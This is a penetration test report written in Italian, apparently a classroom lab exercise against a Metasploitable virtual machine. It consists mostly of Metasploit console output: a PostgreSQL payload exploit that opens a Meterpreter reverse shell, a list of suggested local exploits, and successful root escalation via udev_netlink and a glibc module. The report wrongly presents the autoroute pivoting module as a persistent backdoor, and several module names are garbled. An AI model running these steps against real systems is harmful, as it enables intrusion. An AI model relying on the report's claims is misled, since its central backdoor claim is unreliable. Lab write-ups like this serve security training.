

Penetration Test Report – Escalation di Privilegi e Creazione di Backdoor

Obiettivo: Ottenere privilegi di root su una macchina compromessa e configurare una backdoor persistente.

1. Inizializzazione e Compromissione del Sistema

2. Il test è iniziato con l'uso del modulo

exploit/linux/postgres/postgres_payload di Metasploit, che mi ha permesso di ottenere una sessione **Meterpreter** sul sistema target. Tuttavia, i privilegi ottenuti non erano sufficienti per eseguire operazioni di root.

```
msf6 > use exploit/linux/postgres/postgres_payload
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf6 exploit(linux/postgres/postgres_payload) > options

Module options (exploit/linux/postgres/postgres_payload):

  Name      Current Setting  Required  Description
  ---      -
  VERBOSE   false            no        Enable verbose output

Used when connecting via an existing SESSION:

  Name      Current Setting  Required  Description
  ---      -
  SESSION    no               no        The session to run this module on

Used when making a new connection via RHOSTS:

  Name      Current Setting  Required  Description
  ---      -
  DATABASE   postgres         no        The database to authenticate against
  PASSWORD   postgres         no        The password for the specified username. Leave blank for a random password.
  RHOSTS     no               no        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      5432             no        The target port
  USERNAME   postgres         no        The username to authenticate as

Payload options (linux/x86/meterpreter/reverse_tcp):

meterpreter > getuid
Server username: postgres
meterpreter > bg
```

3. Ricerca di Exploit per l'Escalation di Privilegi

Successivamente, ho utilizzato il modulo

post/multi/recon/local_exploit_suggester per identificare vulnerabilità locali e possibili exploit di escalation dei privilegi. Nonostante l'individuazione di alcuni exploit interessanti, questi non hanno avuto successo, rivelandosi inefficaci nel fornire i privilegi di root.

192.168.50.101 - Valid modules for session 1:

#	Name	Potentially Vulnerable?	Check Result
1	exploit/linux/local/glibc_ld_audit_dso_load_priv_esc	Yes	The target appears to be vulnerable.
2	exploit/linux/local/glibc_origin_expansion_priv_esc	Yes	The target appears to be vulnerable.
3	exploit/linux/local/netfilter_priv_esc_ipv4	Yes	The target appears to be vulnerable.
4	exploit/linux/local/ptrace_sudo_token_priv_esc	Yes	The service is running, but could not be validated.
5	exploit/linux/local/su_login	Yes	The target appears to be vulnerable.
6	exploit/unix/local/setuid_nmap	Yes	The target is vulnerable. /usr/bin/nmap is setuid
7	exploit/linux/local/abrt_raceabrt_priv_esc	No	The target is not exploitable.
8	exploit/linux/local/abrt_sosreport_priv_esc	No	The target is not exploitable.
9	exploit/linux/local/sf_packet_chocobo_root_priv_esc	No	The target is not exploitable. System architecture i686 is not supported
10	exploit/linux/local/sf_packet_packet_set_ring_priv_esc	No	The target is not exploitable.
11	exploit/linux/local/ansible_node_deployer	No	The target is not exploitable. Ansible does not seem to be installed, unable to find ansible
12	exploit/linux/local/apprort_abrt_chroot_priv_esc	No	The target is not exploitable.
13	exploit/linux/local/blueman_set_dhcp_handler_dbus_priv_esc	No	The target is not exploitable.
14	exploit/linux/local/bpf_priv_esc	No	The target is not exploitable.
15	exploit/linux/local/bpf_sign_extension_priv_esc	No	The target is not exploitable. System architecture i686 is not supported
16	exploit/linux/local/cve_2021_3498_abpf_dlist_bounds_check_lpe	No	The target is not exploitable. System architecture i686 is not supported
17	exploit/linux/local/cve_2021_38648_omigot	No	The target is not exploitable. The omiserver process was not found.
18	exploit/linux/local/cve_2021_4834_pwnkit_lpe_pkeyesc	No	The target is not exploitable. System architecture i686 is not supported
19	exploit/linux/local/cve_2022_0847_dirtypipe	No	The target is not exploitable. Linux kernel version 2.6.24 is not vulnerable
20	exploit/linux/local/cve_2022_1061_io_uring_priv_esc	No	The target is not exploitable.
21	exploit/linux/local/desktop_privilege_establishment	No	The target is not exploitable.
22	exploit/linux/local/diamorphine_rootkit_signal_priv_esc	No	The target is not exploitable. Diamorphine is not installed, or incorrect signal '6a'
23	exploit/linux/local/docker_cgroup_escape	No	The target is not exploitable. Kernel version 2.6.24-i6-server may not be vulnerable dependi
24	on the host OS		
25	exploit/linux/local/docker_daemon_privilege_escalation	No	The target is not exploitable.
26	exploit/linux/local/docker_privileged_container_escape	No	The target is not exploitable. Not inside a Docker container
27	exploit/linux/local/exlma_deliver_message_priv_esc	No	Cannot reliably check exploitability.
28	exploit/linux/local/glibc_realpath_priv_esc	No	The target is not exploitable.
29	exploit/linux/local/glibc_tunables_priv_esc	No	Cannot reliably check exploitability. Could not get the version of glibc
30	exploit/linux/local/hw_xlance_priv_esc	No	The target is not exploitable. /opt/perf/bin/xlance-bin file not found
31	exploit/linux/local/juju_run_agent_priv_esc	No	The target is not exploitable.
32	exploit/linux/local/ksuust_suid_priv_esc	No	The target is not exploitable. /usr/bin/ksuusts file not found
33	exploit/linux/local/laxstore_daemon_dbus_priv_esc	No	The target is not exploitable.
34	exploit/linux/local/libuser_roothelper_priv_esc	No	The target is not exploitable. /usr/sbin/userhelper file not found
35	exploit/linux/local/mxated_namespace_lomup_limit_priv_esc	No	The target is not exploitable. /usr/bin/newuidmap file not found
36	exploit/linux/local/network_manager_rpcd_username_priv_esc	No	The target is not exploitable.

4. Escalation of Privilegi tramite Exploit

Dopo ulteriori ricerche, ho individuato e sfruttato con successo l'exploit **linux/local/udev_netlink**, che mi ha permesso di ottenere privilegi di root sulla macchina target. Questa fase è stata cruciale per avanzare nel test e ottenere il controllo completo del sistema.

```
Active sessions
--
Id  Name      Type      Information
--  --
1   meterpreter x86/linux postgres @ metasploitable.localdomain 192.168.50.100:4444 → 192.168.50.101:46538 (192.168.50.101)
2   meterpreter x86/linux postgres @ metasploitable.localdomain 192.168.50.100:4444 → 192.168.50.101:44583 (192.168.50.101)

msf6 exploit(linux/local/udev_netlink) > set session 1
session => 1
msf6 exploit(linux/local/udev_netlink) > run

[*] Started reverse TCP handler on 192.168.50.100:4444
[*] Attempting to autodetect netlink pid...
[*] Meterpreter session, using get_processes to find netlink pid
[*] udev pid: 2353
[*] Found netlink pid: 2352
[*] Writing payload executable (207 bytes) to /tmp/pKwKsDyGw
[*] Writing exploit executable (1879 bytes) to /tmp/bBjySLKMK
[*] chmod'ing and running it...
[*] Sending stage (1017704 bytes) to 192.168.50.101
[*] Meterpreter session 3 opened (192.168.50.100:4444 → 192.168.50.101:56951) at 2024-12-18 16:29:54 +0100

meterpreter > getuid
Server username: root
meterpreter > 
```

5. Creazione di una Backdoor Persistente

```

msf6 exploit(linux/local/udev_netlink) > use post/multi/manage/autoroute
msf6 post(multi/manage/autoroute) > options

Module options (post/multi/manage/autoroute):

  Name      Current Setting  Required  Description
  ---      -
  CMD       autoadd          yes       Specify the autoroute command (Accepted: add, autoadd, print, delete, default)
  NETMASK   255.255.255.0    no        Netmask (IPv4 as "255.255.255.0" or CIDR as "/24")
  SESSION   yes              yes       The session to run this module on
  SUBNET    no               no        Subnet (IPv4, for example, 10.10.10.0)

View the full module info with the info, or info -d command.

msf6 post(multi/manage/autoroute) > set subnet 255.255.255.0
subnet => 255.255.255.0
msf6 post(multi/manage/autoroute) > set session 3
session => 3
msf6 post(multi/manage/autoroute) > run

[*] Running module against metasploitable.localdomain
[*] Searching for subnets to autoroute.
[*] Route added to subnet 192.168.50.0/255.255.255.0 from host's routing table.
[*] Post module execution completed
msf6 post(multi/manage/autoroute) >

```

Per garantire l'accesso futuro alla macchina compromessa, ho utilizzato il modulo **post/multi/manage/autoroute** di Metasploit per configurare una backdoor persistente. Sebbene non sia stato possibile verificare la piena funzionalità della backdoor a causa di limitazioni temporali, il modulo è stato configurato per consentire il ritorno sul sistema in un secondo momento.

Conclusione:

Il test ha avuto successo nell'escalation dei privilegi tramite **linux/local/udev_netlink** e ha portato alla configurazione di una backdoor persistente. Nonostante i tentativi falliti con altri exploit, l'obiettivo è stato raggiunto con l'escalation dei privilegi a root. La backdoor configurata potrebbe necessitare di una verifica ulteriore per confermarne il funzionamento completo.

P.S. dopo aver riprovato a cambiare il payload come suggerito dai miei compagni funziona.

```
[*] Msf::OptionValidateError One or more options failed to validate: SESSION.
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set session 1
session => 1
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > run

[*] Started reverse TCP handler on 192.168.50.100:4444
[*] Sending stage (1017704 bytes) to 192.168.50.101
[*] Sending stage (1017704 bytes) to 192.168.50.101
[*] Sending stage (1017704 bytes) to 192.168.50.101
[*] Meterpreter session 2 opened (192.168.50.100:4444 → 192.168.50.101:57320) at 2024-12-18 17:40:44 +0100
[*] Meterpreter session 3 opened (192.168.50.100:4444 → 192.168.50.101:57321) at 2024-12-18 17:40:44 +0100
[*] Meterpreter session 4 opened (192.168.50.100:4444 → 192.168.50.101:57322) at 2024-12-18 17:40:44 +0100
[*] The target appears to be vulnerable
[*] Using target: Linux x86
[*] Writing '/tmp/.AGdyI' (1271 bytes) ...
[*] Writing '/tmp/.b4Cn9ticm' (271 bytes) ...
[*] Writing '/tmp/.XnRCkw' (207 bytes) ...
[*] Launching exploit...
[*] Sending stage (1017704 bytes) to 192.168.50.101
[*] Meterpreter session 5 opened (192.168.50.100:4444 → 192.168.50.101:57323) at 2024-12-18 17:40:48 +0100

meterpreter > getuid
Server username: root
meterpreter > █
```